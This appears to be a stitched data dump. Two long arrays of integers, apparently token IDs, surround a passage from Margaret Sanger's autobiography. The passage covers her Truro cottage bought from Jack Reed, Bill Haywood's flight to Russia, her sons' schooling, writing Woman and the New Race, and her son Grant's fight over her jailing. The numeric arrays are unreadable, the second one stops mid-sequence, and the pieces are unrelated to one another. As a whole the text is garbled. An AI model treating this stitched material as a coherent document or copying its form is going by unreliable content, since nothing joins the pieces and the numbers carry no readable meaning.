3407, 281, 9413, 352, 285, 253, 1659, 3395, 6195, 3606, 342, 1842, 1241, 285, 924, 4121, 15, 15763, 473, 8, 41437, 434, 7120, 497, 1146, 4197, 327, 253, 364, 45289, 7285, 6393, 754, 13078, 657, 10245, 434, 2419, 13, 285, 841, 3982, 1142, 625, 952, 15, 309, 3078, 281, 755, 1977, 1014, 2007, 13, 285, 594, 858, 5332, 24518, 13, 665, 574, 671, 7799, 35514, 627, 15, 329, 1524, 8304, 5570, 2335, 779, 281, 2822, 14, 1615, 20115, 287, 835, 253, 4669, 273, 1457, 2816, 398, 574, 417, 2568, 6727, 69, 13, 285, 309, 369, 12470, 281, 1705, 2112, 15, 844, 3047, 247, 1652, 2419, 327, 247, 1652, 13599, 13, 581, 273, 253, 954, 9129, 275, 253, 7773, 15, 23195, 352, 253, 28084, 292, 7121, 10785, 751, 247, 9711, 28865, 281, 253, 12927, 15, 743, 1711, 6150, 13595, 574, 30044, 285, 43966, 285, 14662, 253, 4522, 1653, 13, 3982, 731, 598, 432, 253, 7618, 32121, 275, 247, 31474, 11179, 13, 285, 45170, 731, 18996, 2366, 342, 14872, 759, 5943, 15, 380, 8576, 369, 6627, 285, 5890, 13, 285, 4455, 347, 2167, 1142, 14268, 285, 268, 447, 574, 644, 30363, 275, 352, 15, 187, 187, 16082, 8686, 253, 29705, 13, 533, 344, 369, 1620, 2104, 281, 3153, 627, 15, 1284, 247, 4750, 35260, 273, 253, 28634, 20308, 344, 369, 277, 3834, 432, 253, 13338, 48898, 285, 17826, 9974, 281, 253, 5284, 3660, 285, 896, 969, 281, 1457, 2816, 15, 496, 27062, 13, 8958, 309, 13, 1512, 13, 574, 3261, 387, 352, 342, 40484, 2927, 13, 344, 2546, 1880, 309, 651, 751, 281, 4489, 352, 28, 344, 369, 4983, 323, 7422, 253, 1735, 1388, 285, 574, 281, 452, 4704, 2583, 15, 2896, 247, 13476, 4839, 309, 574, 816, 2959, 247, 2451, 323, 247, 8014, 8918, 275, 7830, 323, 690, 8068, 29608, 15, 844, 25920, 2451, 285, 22793, 15, 754, 1669, 253, 1735, 1388, 323, 253, 2659, 273, 9023, 364, 1622, 7641, 12665, 5308, 13, 521, 3331, 13, 574, 2168, 4783, 285, 40689, 6747, 369, 281, 1091, 15, 187, 187, 5178, 7641, 13, 665, 574, 25060, 36431, 5052, 281, 772, 3459, 13, 574, 644, 9833, 285, 21517, 327, 19590, 25032, 407, 18827, 466, 33747, 15, 1500, 574, 24184, 959, 352, 46107, 281, 452, 779, 15792, 562, 273, 253, 2586, 15, 309, 574, 574, 247, 1048, 2312, 342, 779, 1078, 344, 574, 1160, 598, 521, 2564, 7964, 281, 3553, 15, 380, 7827, 3982, 896, 281, 479, 253, 5406, 273, 253, 2069, 344, 285, 309, 574, 7428, 598, 285, 1066, 253, 20904, 40753, 256, 2287, 285, 344, 574, 1677, 479, 824, 1175, 5067, 670, 417, 28068, 3006, 253, 15704, 273, 253, 2151, 15, 187, 187, 15745, 665, 574, 10066, 7641, 323, 521, 346, 43442, 275, 253, 11320, 3, 7535, 387, 253, 2790, 3796, 9974, 497, 253, 1072, 665, 497, 18327, 521, 22802, 521, 19590, 15, 3932, 253, 1388, 359, 574, 2366, 11580, 253, 330, 15, 40, 15, 53, 15, 12225, 275, 7785, 13, 7641, 574, 1705, 281, 923, 253, 37398, 273, 16625, 4364, 28, 326, 13, 2581, 685, 298, 2435, 763, 275, 12907, 835, 344, 812, 14294, 642, 4217, 4096, 13, 247, 22564, 943, 13, 604, 344, 812, 13, 33927, 2994, 15, 346, 1328, 665, 24662, 285, 6613, 1977, 13, 588, 3153, 281, 3819, 1529, 1388, 449, 831, 13, 2556, 281, 253, 2448, 2934, 13, 369, 35840, 547, 1128, 5658, 943, 3297, 285, 320, 247, 16172, 6147, 15, 1292, 281, 7641, 352, 369, 1024, 7960, 2159, 18347, 264, 15, 754, 574, 7945, 326, 253, 3388, 12954, 672, 344, 2427, 275, 323, 4172, 5341, 285, 1133, 14, 936, 14, 4608, 11757, 369, 20698, 1078, 344, 574, 13207, 15, 754, 8156, 253, 5820, 574, 644, 8085, 407, 253, 3660, 28, 597, 574, 417, 25536, 285, 6225, 598, 1411, 772, 3459, 342, 667, 27882, 15, 1583, 812, 417, 347, 2568, 320, 32945, 2220, 347, 247, 3490, 13, 533, 690, 1388, 344, 13937, 281, 1091, 285, 294, 7397, 907, 731, 15, 187, 187, 53, 579, 287, 2530, 253, 2151, 342, 1264, 1557, 4924, 2607, 1046, 5768, 275, 752, 1335, 3133, 281, 479, 581, 273, 253, 954, 5389, 13977, 275, 253, 1533, 15, 1198, 2067, 1107, 309, 10416, 327, 281, 436, 7156, 273, 1146, 342, 731, 11485, 13, 533, 352, 369, 760, 247, 7156, 15, 309, 908, 281, 564, 1066, 281, 1527, 253, 2419, 285, 4931, 3802, 1506, 247, 2129, 390, 594, 627, 1078, 1146, 26337, 281, 24284, 896, 13, 533, 3392, 285, 619, 7586, 20877, 497, 1175, 22846, 14, 24905, 15, 831, 2419, 369, 6524, 281, 5451, 347, 574, 253, 581, 275, 49234, 28, 13742, 4455, 281, 21356, 309, 943, 417, 320, 33400, 281, 15813, 896, 715, 19951, 41574, 5755, 15, 187, 187, 22427, 858, 309, 452, 512, 1110, 13937, 323, 1107, 273, 7487, 253, 8290, 1756, 432, 581, 3924, 281, 1529, 15, 309, 574, 574, 281, 12106, 253, 4112, 1128, 26597, 281, 1978, 731, 387, 1728, 762, 253, 20446, 273, 20325, 665, 1537, 4931, 320, 43650, 13, 285, 281, 452, 642, 625, 685, 253, 11284, 273, 6523, 731, 15792, 281, 3722, 13, 390, 2010, 281, 17789, 619, 14834, 10450, 285, 1691, 731, 275, 2586, 6629, 6828, 407, 7032, 26616, 835, 597, 812, 1421, 247, 5875, 13, 3963, 1495, 15, 14566, 1705, 281, 436, 6158, 3061, 309, 2197, 731, 745, 9648, 2872, 13, 285, 17096, 812, 760, 4143, 731, 689, 2129, 14, 1727, 390, 327, 253, 7520, 15530, 672, 309, 369, 8288, 275, 253, 21520, 15, 1310, 253, 8327, 281, 923, 731, 8899, 4457, 1453, 13, 309, 2335, 253, 806, 6194, 285, 2959, 253, 6966, 273, 4560, 731, 16575, 2600, 264, 275, 253, 24835, 1456, 597, 574, 1160, 323, 3746, 28, 846, 253, 3302, 18349, 273, 39359, 574, 4817, 1977, 597, 6337, 745, 969, 281, 616, 3958, 15, 187, 187, 3404, 2069, 253, 9076, 46113, 323, 731, 4455, 1512, 1199, 281, 8800, 28, 3340, 369, 436, 2032, 275, 253, 39056, 5720, 11803, 15, 2091, 309, 2210, 275, 3563, 387, 2360, 253, 3289, 369, 3846, 275, 253, 12525, 13, 253, 1984, 1527, 327, 253, 2829, 13, 253, 38081, 8231, 327, 253, 5254, 13, 253, 30055, 11267, 6216, 327, 253, 30929, 1128, 455, 253, 1072, 1128, 6309, 347, 309, 574, 1669, 731, 247, 1388, 13, 247, 2129, 13, 390, 247, 1770, 1078, 15, 2064, 806, 27450, 273, 43241, 369, 1900, 622, 11822, 15, 309, 3078, 13, 347, 247, 1429, 1057, 13, 281, 320, 751, 643, 952, 28, 309, 3078, 281, 320, 2104, 281, 16338, 47444, 715, 253, 26326, 285, 15795, 273, 247, 18248, 2021, 10112, 15, 187, 187, 510, 8986, 273, 27062, 14, 1093, 369, 3782, 1892, 28, 253, 8762, 39147, 1029, 285, 20578, 1048, 13, 285, 352, 2335, 6726, 17639, 281, 1978, 634, 19851, 598, 15, 3196, 15, 6393, 14449, 1299, 17839, 479, 326, 342, 2636, 284, 6134, 4832, 7664, 13, 18766, 1551, 13, 275, 829, 386, 15153, 13, 14697, 34470, 8922, 13, 309, 812, 417, 11883, 1048, 15, 2091, 13, 3103, 13, 247, 19600, 2546, 479, 323, 247, 1984, 327, 5299, 3237, 13, 309, 48134, 3578, 14, 2913, 14, 744, 13629, 562, 273, 2143, 285, 873, 745, 323, 5002, 13, 3192, 247, 1355, 1659, 387, 36527, 3377, 835, 309, 2206, 4266, 1066, 323, 1264, 2607, 281, 3630, 285, 281, 755, 41061, 342, 619, 3347, 15, 187, 187, 42, 7636, 253, 34793, 15, 733, 369, 247, 11284, 281, 320, 562, 14, 1171, 14, 26695, 13, 281, 452, 6330, 285, 7107, 285, 253, 27335, 281, 23240, 619, 7906, 285, 1691, 731, 327, 2929, 15, 309, 574, 642, 30388, 4404, 247, 5299, 1984, 13, 533, 16575, 11346, 13872, 13155, 619, 15482, 14, 484, 10450, 327, 23724, 285, 253, 1457, 23752, 15, 733, 369, 1175, 281, 30215, 4606, 285, 873, 731, 275, 1340, 15, 2752, 11626, 858, 20177, 13, 285, 352, 369, 247, 1270, 3727, 15, 187, 187, 42, 369, 24863, 314, 17328, 273, 5754, 581, 1388, 672, 13629, 2210, 1728, 432, 253, 2143, 344, 369, 16362, 13, 1097, 521, 2927, 3965, 16076, 14, 13565, 15, 309, 2546, 779, 2139, 344, 574, 644, 8615, 15, 187, 187, 3, 42, 1053, 626, 971, 281, 2028, 368, 449, 187, 187, 3, 42, 1871, 751, 281, 871, 449, 187, 187, 3, 4497, 13, 436, 5006, 2183, 512, 253, 36339, 619, 3101, 1871, 644, 275, 12907, 449, 187, 187, 3, 1276, 858, 368, 513, 865, 187, 187, 3, 42, 4352, 779, 13, 285, 344, 4352, 479, 896, 15, 754, 753, 13, 686, 7093, 3101, 434, 247, 12907, 23182, 4117, 285, 309, 753, 13, 686, 2993, 434, 417, 2464, 2635, 1529, 7715, 753, 13, 686, 3220, 3101, 2296, 634, 3101, 2427, 281, 12907, 1512, 2464, 346, 187, 187, 35723, 574, 10017, 13, 346, 2773, 3589, 626, 619, 3101, 13, 326, 369, 1529, 20145, 322, 3751, 449, 187, 187, 3, 2347, 812, 368, 1333, 326, 13, 13629, 32, 1422, 871, 352, 3589, 626, 2032, 449, 187, 187, 3, 29859, 937, 344, 10017, 38245, 13, 346, 5658, 812, 1620, 1056, 1110, 36339, 2096, 449, 187, 187, 817, 10372, 19388, 14, 531, 187, 187, 817, 4392, 3016, 5935, 5689, 24375, 1433, 187, 187, 9707, 2362, 273, 619, 4143, 281, 4693, 275, 18471, 369, 253, 5068, 273, 619 ]

had hoped was useless, but I resolved that I was never again going to talk to them, and, when it seemed necessary that they be addressed, I sent others to do it. My nervousness ahead of lectures continued to be akin to illness. All through the years it has been like a nightmare even to think of a pending speech. I promised enthusiastically to go here or there, and then tried to forget it. The morning it was to be delivered I awakened with a panicky feeling which grew into a sort of terror if I allowed myself to dwell on it. It was fatal to eat before a meeting. Some people can keep an audience rocking with laughter and yet get over a message. But I cannot. Seldom do my hearers have anything merry from me. Advisers often say, "Lighten up your subject." I have always resented this; I am the protagonist of women who have nothing to laugh at. Heywood Broun once remarked that I had no sense of humor. I was surprised at him, but I could understand his statement in a way; he had been at only a few meetings as chairman and I had been serious to the point of deadliness, purposely bringing forth laborious facts and dramatic statistics. I was grasping at an opportunity to reach his audience because, whenever he was moved by anything deeply, he wrote a story in his column which by reason of its effective irony and smooth prose swayed others to the same extent. I have had much fun, although it may have penetrated only to the intimate circle of friends. Once after giving what I thought was a very up-to-date, spirited talk at the Waldorf-Astoria, a dear old lady, at least in her middle eighties, tottered towards me with the aid of a cane and in trembling voice quavered, "I have traveled across the country to hear you speak, Miss Sangster. My mother used to read your poems to me when I was a little girl, and I feel this is a great day for me to be able to clasp your hand." She had confused me with the poetess, Margaret E. Sangster, who in the mid-Nineteenth Century had been a regular contributor to religious magazines. Inevitably I have been constantly torn between my compulsion to do this work and a haunting feeling that I was robbing my children of time to which they were entitled. Back in 1913 I had had some vague notion of being able to spend all my summers with them at Province-town. That visionary hope had been immediately dissipated because too many painters began to discover it and the place became littered with easels and smocks. Gene O'Neill's plays were being produced on the wharf opposite Mary Heaton Vorse's house, and these brought many more people. I wanted to get away even further, and so did Jack Reed, who had also sought sanctuary there. A real estate agent took him to near-by Truro where the feet of New Yorkers had not yet trod, and I was invited to come along. We saw a little house on a little hill, one of the most ancient in the village. Below it the Pamet River wound like a silver ribbon to the ocean. An old sea captain had squared and smoothed and fitted the timbers, brought them up from the Carolinas in a sailing vessel, and fastened them tightly together with wooden pegs. The kitchen was bright and warm, and seemed as though many cookies and pies had been baked in it. Jack bought the cottage, but he was never able to live there. As a staff correspondent of the Metropolitan Magazine he was dashing from the Colorado Fuel and Iron strike to the European War and back again to New York. In 1917, knowing I, too, had looked at it with longing eyes, he asked whether I would like to buy it; he was starting for Russia the next day and had to have ready money. By a lucky chance I had just received a check for a thousand dollars in payment for some Chicago lectures. We exchanged check and deed. He left the next day for the land of promise whither Bill Haywood, his friend, had already gone and whence neither was to return. Big Bill, who had steadily advocated resistance to conscription, had been arrested and freed on bail furnished by Jessie Ashley. She had forfeited it gladly to have him safely out of the country. I had had a long talk with him before he had made up his mind definitely to leave. The conversation brought back to me the picture of the times he and I had walked up and down the Cape Cod sands and he had given me such good counsel about not jeopardizing the happiness of the children. Those who had opposed Bill for his "hands in the pocket" advice at the Paterson strike were the same who were opposing his jumping his bail. Since the day we had together visited the C.G.T. meetings in Paris, Bill had come to see the virtues of expediency; that, rather than languish in jail where he could accomplish no useful purpose, a revolutionary should, if he could, exile himself. "He who fights and runs away, will live to fight another day." This, according to the American idea, was cowardice—you should stay and be a martyr. But to Bill it was now merely shortsighted. He had concluded that the average worker when he went in for rioting and hand-to-hand combat was beaten before he had begun. He realized the workers had been split by the War; they had not united and stood up against conscription with any backbone. They could not as yet be depended upon as a force, but some day he hoped to return and reorganize them. Truro provided the children with three carefree months every summer in what still seems to me one of the most beautiful spots in the world. For several years I hung on to this dream of being with them constantly, but it was only a dream. I used to go down to open the house and perhaps snatch a week or so there before being obliged to hurry back, but father and my sister Nan were good foster-parents. This house was eventually to burn as had the one in Hastings; fate seemed to decree I should not be tempted to slip back into peaceful domesticity. Nor did I have all those hoped for years of watching the boys grow from one stage to another. I had had to analyze the situation—either to keep them at home under the supervision of servants who might perhaps be incompetent, and to have no more than the pleasure of seeing them safely to bed, or else to sacrifice my maternal feelings and put them in country schools directed by capable masters where they could lead a healthy, regular life. Having come to this latter decision I sent them off fairly young, and thereafter could only visit them over week-ends or on the rare occasions when I was speaking in the vicinity. If the desire to see them grew beyond control, I took the first train and received the shock of finding them thoroughly contented in the companionship they had made for themselves; after the initial excitement of greeting had passed away they ran off again to their games. At times the homesickness for them seemed too much to bear; especially was this true in the Fourteenth Street studio. When I came in late at night the fire was dead in the grate, the book open on the table, the glove dropped on the floor, the pillow rumpled on the sofa—all the same—just as I had left them a day, a week, or a month before. That first chill of loneliness was always appalling. I wanted, as a child does, to be like other people; I wanted to be able to sink gratefully into the warmth and glow of a loving family welcome. The winter of 1917-18 was particularly hard; the snow drifted high and lasted long, and it took forced cheer to keep your spirits up. Dr. Mary Halton assured me that with ceaseless financial worry, inadequate rest, incessant traveling, improper nourishment, I could not survive long. When, therefore, a publisher asked me for a book on labor problems, I snatched ten-year-old Grant out of school and set off for California, taking a small place at Coronado where I sat myself down for three months to write and to get acquainted with my son. I loved the sunshine. It was a pleasure to be out-of-doors, to have peace and quiet and the leisure to arrange my thoughts and put them on paper. I had no inclination towards a labor book, but thoroughly enjoyed letting loose my pent-up feelings on Woman and the New Race. It was good to classify reasons and set them in order. My opinions did emerge, and it was a great release. I was vividly reminded of prison one day when Grant came home from the school he was attending, both his eyes pretty dirty-looking. I asked him why he had been fighting. "I don't want to tell you." "I'd like to know." "Well, this boy told all the fellows my mother'd been in jail." "What did you do?" "I hit him, and he hit me back. He said, 'Your mother's a jailbird,' and I said, 'She's not.' Then another fellow said, 'My mother says your mother went to jail too.' " Grant had replied, "That wasn't my mother, that was another Margaret Sanger." "How could you say that, Grant? You know it wasn't true." "Mother," he replied profoundly, "you could never make those fellows understand." ## Chapter Twenty-one ## THUS TO REVISIT THE event of my visit to London in 1920 was the beginning of my

[ 64, 41315, 64, 1968, 426, 26608, 11158, 2534, 376, 11884, 187, 3306, 64, 483, 1282, 15, 5564, 426, 5595, 23537, 501, 30090, 1448, 3389, 80, 313, 69, 706, 282, 502, 280, 5586, 5645, 343, 16, 1987, 376, 254, 23034, 3897, 3284, 375, 10, 187, 3306, 64, 483, 1282, 64, 1968, 426, 2213, 30090, 372, 3389, 80, 187, 38729, 942, 15, 5564, 426, 5595, 23537, 3067, 2084, 375, 187, 38729, 942, 64, 1968, 426, 2006, 75, 2084, 375, 187, 394, 28134, 15, 5564, 426, 5595, 23537, 12949, 4953, 284, 187, 394, 28134, 64, 1968, 426, 24244, 4953, 284, 187, 8606, 2009, 15, 5564, 426, 19523, 5546, 546, 1045, 3389, 80, 187, 8606, 2009, 64, 1968, 426, 19523, 5546, 187, 30857, 64, 6377, 64, 5564, 426, 367, 31076, 1758, 12033, 6377, 599, 187, 30857, 64, 6377, 64, 32688, 426, 24244, 42582, 372, 826, 268, 31076, 1758, 12033, 6377, 599, 187, 8606, 64, 1968, 426, 19523, 5546, 27, 187, 8606, 64, 35065, 15, 5564, 426, 3035, 19657, 274, 826, 13235, 1049, 274, 32206, 372, 826, 1315, 511, 187, 8606, 64, 35065, 64, 1968, 426, 743, 9085, 187, 8606, 64, 8384, 15, 5564, 426, 3035, 19657, 274, 826, 9788, 86, 25341, 1049, 274, 32206, 372, 19764, 1315, 511, 187, 8606, 64, 8384, 64, 1968, 426, 31927, 86, 25341, 187, 8606, 64, 30703, 426, 2213, 2711, 274, 23034, 187, 8606, 64, 8992, 64, 5045, 64, 1968, 426, 2434, 1763, 301, 14994, 372, 778, 6187, 84, 11379, 1222, 6187, 84, 15, 187, 8606, 64, 250, 2729, 64, 3956, 426, 1023, 355, 5092, 91, 1954, 1045, 275, 34339, 1448, 3389, 80, 13, 396, 1558, 6187, 66, 28947, 1045, 2457, 187, 8606, 64, 250, 2729, 64, 10492, 426, 1023, 355, 5092, 91, 1954, 1045, 2457, 1448, 3389, 80, 13, 396, 1558, 6187, 66, 28947, 1045, 275, 34339, 187, 8606, 64, 1439, 64, 14541, 426, 1879, 511, 642, 39348, 2960, 187, 3775, 64, 3062, 64, 5374, 426, 353, 7766, 4151, 7860, 187, 3775, 64, 1417, 64, 5374, 426, 9730, 375, 4151, 7860, 187, 3775, 64, 10483, 426, 330, 1000, 274, 187, 3775, 64, 4149, 64, 5374, 426, 19415, 15, 4305, 362, 6394, 4149, 599, 313, 7973, 27, 12033, 7973, 12104, 187, 3775, 64, 8559, 426, 33582, 32444, 27, 12033, 8559, 599, 187, 3775, 64, 9742, 426, 367, 8807, 27, 12033, 9742, 599, 187, 3775, 64, 3140, 426, 7984, 6073, 27, 12033, 3140, 599, 187, 3775, 64, 1282, 426, 418, 1950, 21254, 27, 12033, 1282, 599, 187, 12574, 272, 64, 3775, 426, 473, 1915, 363, 1954, 440, 2228, 355, 8600, 15864, 826, 268, 31076, 1758, 15, 187, 6377, 64, 7527, 64, 3429, 426, 743, 348, 5650, 372, 826, 268, 31076, 1758, 187, 6377, 64, 7527, 64, 8491, 426, 329, 6309, 70, 372, 826, 268, 31076, 1758, 187, 6377, 64, 7527, 64, 15149, 426, 308, 2902, 21000, 3772, 1757, 26869, 187, 6377, 64, 7527, 64, 26651, 426, 308, 2902, 21000, 1524, 187, 6377, 64, 7527, 64, 25250, 426, 12033, 7527, 599, 6, 187, 23333, 64, 3775, 64, 527, 28288, 426, 11759, 187, 23333, 64, 3775, 426, 473, 1915, 363, 1954, 440, 2228, 355, 1113, 5209, 1045, 19415, 15, 187, 25359, 64, 3140, 64, 3775, 426, 401, 16128, 287, 19415, 642, 362, 21762, 7112, 258, 17715, 80, 15, 187, 33722, 64, 3140, 64, 3775, 426, 1621, 19273, 269, 16128, 287, 19415, 15, 187, 328, 9127, 64, 10927, 64, 3775, 426, 2213, 11113, 17062, 275, 265, 468, 2960, 1448, 1296, 49410, 15, 187, 1156, 64, 22965, 64, 881, 15, 2711, 426, 544, 1145, 302, 7860, 12033, 881, 599, 62, 187, 15760, 64, 1968, 426, 47493, 91, 6357, 826, 2916, 511, 23748, 5586, 490, 42061, 12368, 4222, 6073, 19415, 15, 187, 15760, 64, 25359, 426, 3267, 30319, 23748, 642, 362, 21762, 4355, 15, 657, 3814, 6156, 247, 6860, 274, 4213, 15, 187, 15760, 64, 536, 426, 329, 916, 274, 187, 15760, 64, 35899, 426, 330, 18721, 274, 187, 3845, 272, 64, 1439, 64, 19391, 426, 2006, 1748, 14994, 27, 3173, 13374, 343, 642, 18219, 2264, 12704, 34715, 430, 3377, 4474, 12368, 295, 1123, 72, 9325, 15, 187, 3845, 272, 64, 1439, 64, 2038, 426, 2006, 1748, 14994, 27, 444, 3241, 19415, 642, 396, 419, 1113, 49746, 2535, 9392, 5586, 33693, 516, 13374, 343, 339, 15, 187, 7585, 64, 8345, 64, 25050, 426, 15878, 9092, 42871, 27568, 31697, 4305, 15, 7585, 46154, 711, 19452, 15333, 27, 1578, 4617, 917, 441, 274, 4358, 9092, 42871, 27568, 19415, 802, 1257, 7299, 284, 15, 187, 3306, 64, 36022, 64, 1439, 64, 31263, 426, 8742, 3389, 375, 19415, 642, 246, 40594, 9659, 7112, 441, 274, 2817, 354, 2059, 375, 847, 2324, 27, 686, 23513, 262, 343, 247, 4358, 268, 1757, 6058, 284, 13990, 343, 2817, 354, 2059, 375, 847, 2324, 8, 18219, 711, 19452, 3377, 546, 1045, 295, 1123, 72, 9325, 15, 187, 510, 530, 15, 52, 15, 6413, 2111, 556, 13072, 281, 4089, 247, 5266, 4724, 327, 11136, 273, 5213, 1569, 5882, 24752, 2205, 16916, 7233, 708, 9002, 313, 52, 301, 2205, 708, 16916, 10, 5001, 253, 3745, 273, 253, 530, 15, 52, 15, 33134, 35499, 46437, 5399, 313, 5607, 3231, 10, 281, 15142, 22669, 8540, 285, 643, 2060, 5487, 14, 6160, 6619, 275, 253, 10800, 11081, 4176, 1411, 253, 5882, 15, 380, 19963, 3249, 816, 2607, 846, 253, 1180, 273, 5820, 2363, 7288, 285, 5662, 4925, 2164, 15, 23, 3041, 13, 253, 4585, 1268, 2455, 5950, 13, 2556, 281, 247, 1263, 432, 775, 455, 9562, 13, 18707, 708, 9449, 15, 380, 1180, 273, 5820, 689, 7251, 556, 2559, 5329, 2558, 689, 253, 2469, 3578, 1107, 13, 10922, 495, 15, 23, 3041, 275, 4223, 13, 253, 1263, 1119, 15, 187, 187, 34757, 187, 187, 60, 18, 62, 187, 187, 1628, 510, 6413, 2111, 457, 84, 3061, 14624, 24752, 2205, 457, 84, 2748, 323, 2278, 3637, 247, 3102, 273, 24752, 2205, 457, 84, 1046, 3177, 281, 3693, 2442, 22669, 9781, 1146, 40101, 406, 595, 10945, 407, 253, 7829, 387, 1046, 1614, 1806, 2516, 20069, 21557, 251, 13, 45622, 19804, 10158, 275, 8068, 13, 5544, 275, 247, 5480, 3908, 5001, 253, 3061, 15, 187, 187, 1628, 8430, 253, 6413, 2111, 858, 417, 2953, 253, 12553, 16108, 273, 253, 1953, 1806, 20069, 21557, 251, 4821, 13, 773, 783, 2111, 457, 84, 3061, 281, 13292, 24752, 2205, 457, 84, 2748, 323, 2278, 6505, 253, 33808, 6817, 3061, 275, 776, 1083, 6306, 347, 253, 10938, 1569, 323, 253, 7467, 273, 436, 1083, 949, 247, 4984, 11844, 13, 285, 627, 457, 84, 417, 247, 12195, 273, 247, 5545, 670, 752, 326, 1569, 310, 13, 253, 45622, 476, 15142, 22669, 285, 643, 5487, 14, 6160, 6619, 327, 11136, 273, 253, 258, 15172, 24752, 2205, 10471, 1425, 187, 187, 510, 45622, 457, 84, 1083, 1411, 24752, 2205, 20944, 562, 273, 271, 5839, 407, 253, 8068, 4412, 7454, 715, 24752, 2205, 708, 16916, 457, 84, 10276, 342, 253, 11362, 15292, 30879, 275, 35499, 3162, 313, 24259, 34, 481, 380, 329, 2573, 34, 10384, 281, 4292, 689, 253, 2363, 273, 3387, 2444, 323, 271, 11169, 342, 1384, 390, 625, 6171, 15, 733, 33093, 20252, 285, 14954, 7089, 1754, 327, 2363, 13, 347, 973, 347, 17396, 15072, 387, 247, 2176, 2363, 13, 323, 4829, 512, 6171, 15, 496, 1635, 13, 1142, 3054, 45035, 17396, 15072, 323, 1355, 18652, 417, 6107, 407, 253, 329, 2573, 34, 15, 187, 187, 510, 45622, 457, 84, 5839, 858, 417, 8424, 432, 247, 7473, 42770, 273, 15292, 30879, 4724, 407, 271, 2060, 13, 533, 2581, 432, 247, 5833, 4724, 1561, 253, 5882, 285, 5701, 1160, 281, 253, 3420, 407, 24752, 2205, 457, 84, 4323, 2285, 40088, 326, 10471, 574, 644, 1066, 41556, 275, 1340, 281, 2794, 9091, 323, 9243, 16099, 15, 380, 7234, 281, 253, 3420, 671, 23378, 253, 5882, 457, 84, 2363, 14, 30344, 15072, 3646, 15, 380, 5882, 1066, 41556, 4567, 10471, 275, 253, 2965, 273, 7544, 15, 19388, 14, 23587, 452, 2546, 281, 320, 6607, 407, 253, 45622, 275, 253, 15561, 15, 187, 187, 510, 45622, 4724, 253, 1083, 275, 253, 530, 15, 52, 15, 4412, 2111, 323, 253, 11442, 4412, 273, 11545, 275, 8068, 327, 4247, 2145, 13, 5826, 15, 380, 1083, 13, 534, 14993, 22669, 8540, 285, 30938, 26333, 273, 10471, 665, 497, 1066, 14, 41556, 281, 8474, 5067, 390, 5067, 3708, 13, 310, 13910, 1078, 530, 15, 52, 15, 4412, 6798, 5490, 49524, 293, 15, 29600, 556, 644, 10800, 275, 253, 1083, 13, 984, 6798, 49524, 293, 858, 417, 5778, 253, 1083, 1223, 24752, 2205, 457, 84, 2748, 323, 2278, 281, 253, 6413, 2111, 369, 1146, 2783, 15, 187, 187, 51, 600, 272, 327, 6413, 2111, 19440, 13, 6798, 49524, 293, 753, 27, 773, 510, 45622, 457, 84, 987, 281, 3324, 4176, 8445, 2060, 6619, 4566, 4457, 326, 273, 253, 2060, 285, 14190, 253, 12785, 273, 1345, 1600, 13, 7624, 6941, 45622, 281, 7703, 6619, 323, 4292, 13, 751, 253, 5876, 24752, 2205, 10471, 275, 436, 1083, 13, 665, 812, 417, 13, 323, 667, 5235, 273, 4606, 13, 513, 594, 3746, 1425, 187, 187, 510, 775, 455, 9562, 1263, 858, 417, 2953, 253, 2075, 285, 5373, 2959, 407, 5662, 5820, 15, 733, 858, 13, 2299, 13, 1127, 562, 326, 26885, 7324, 432, 6858, 1766, 14724, 816, 8577, 3925, 310, 2779, 281, 1056, 352, 9592, 2834, 323, 5662, 2628, 14, 32179, 398, 281, 1089, 6887, 15, 1042, 32585, 187, 7770, 187, 187, 10859, 20224, 571, 310, 247, 5460, 19830, 8984, 13, 7943, 407, 4274, 6133, 839, 14613, 19147, 13, 1448, 16723, 13, 33092, 7097, 285, 4016, 5917, 1254, 67, 18, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 1656, 733, 310, 271, 1162, 74, 11220, 2570, 8984, 13, 7668, 1097, 617, 7116, 285, 1327, 617, 7116, 2616, 13, 342, 617, 262, 1430, 8197, 273, 598, 281, 11681, 15, 17, 6, 1254, 67, 19, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 1656, 733, 310, 6566, 326, 253, 8984, 310, 1955, 281, 2393, 6551, 27055, 267, 2616, 13, 516, 7187, 1972, 275, 34254, 34242, 7601, 13, 2366, 342, 49161, 10552, 13, 10332, 13, 4073, 285, 14977, 1254, 67, 20, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 2947, 67, 21, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 1656, 496, 253, 5928, 273, 4232, 10401, 7534, 9588, 13, 6120, 273, 24532, 15771, 327, 8368, 273, 6255, 1375, 407, 247, 3382, 4572, 1254, 67, 22, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 1656, 3882, 16783, 310, 247, 5044, 30818, 11237, 13, 1774, 323, 2622, 2440, 275, 2169, 16711, 15, 733, 41077, 253, 3320, 2048, 1293, 11237, 273, 253, 3625, 3882, 3425, 285, 310, 617, 7116, 949, 253, 894, 1254, 67, 23, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 1656, 733, 8687, 9436, 273, 253, 18314, 460, 281, 608, 14, 13006, 36824, 22060, 407, 2097, 273, 3882, 9758, 17338, 1169, 1254, 67, 23, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 1656, 496, 31046, 4787, 13, 16783, 310, 954, 7744, 1119, 275, 16944, 6793, 3672, 273, 3882, 13, 1925, 36457, 17546, 1254, 67, 24, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 1656, 380, 30818, 4870, 403, 7870, 285, 1581, 253, 1341, 281, 3794, 7661, 4360, 285, 275, 247, 10799, 1039, 281, 6938, 15374, 13, 533, 671, 14003, 894, 1511, 2173, 3320, 5659, 15, 10643, 3855, 1999, 2544, 689, 673, 3148, 36490, 17524, 1254, 67, 25, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 1656, 831, 812, 5513, 253, 17524, 273, 690, 1846, 6578, 275, 5870, 13, 594, 253, 30818, 3102, 812, 320, 19588, 275, 25104, 346, 12787, 261, 3321, 3, 689, 14649, 15, 187, 187, 8354, 16783, 476, 320, 2330, 342, 253, 9464, 1265, 4375, 273, 3608, 390, 476, 320, 1119, 275, 253, 3320, 8248, 13, 734, 15881, 390, 275, 13392, 10545, 4811, 15, 380, 1899, 273, 253, 16783, 11852, 697, 2954, 281, 3320, 2048, 1268, 15, 353, 4040, 318, 275, 253, 8993, 21520, 273, 253, 9464, 1265, 2670, 8336, 17000, 13, 1223, 16783, 3304, 253, 3320, 38197, 9464, 33691, 15, 1893, 352, 310, 5125, 326, 3320, 2133, 16783, 778, 452, 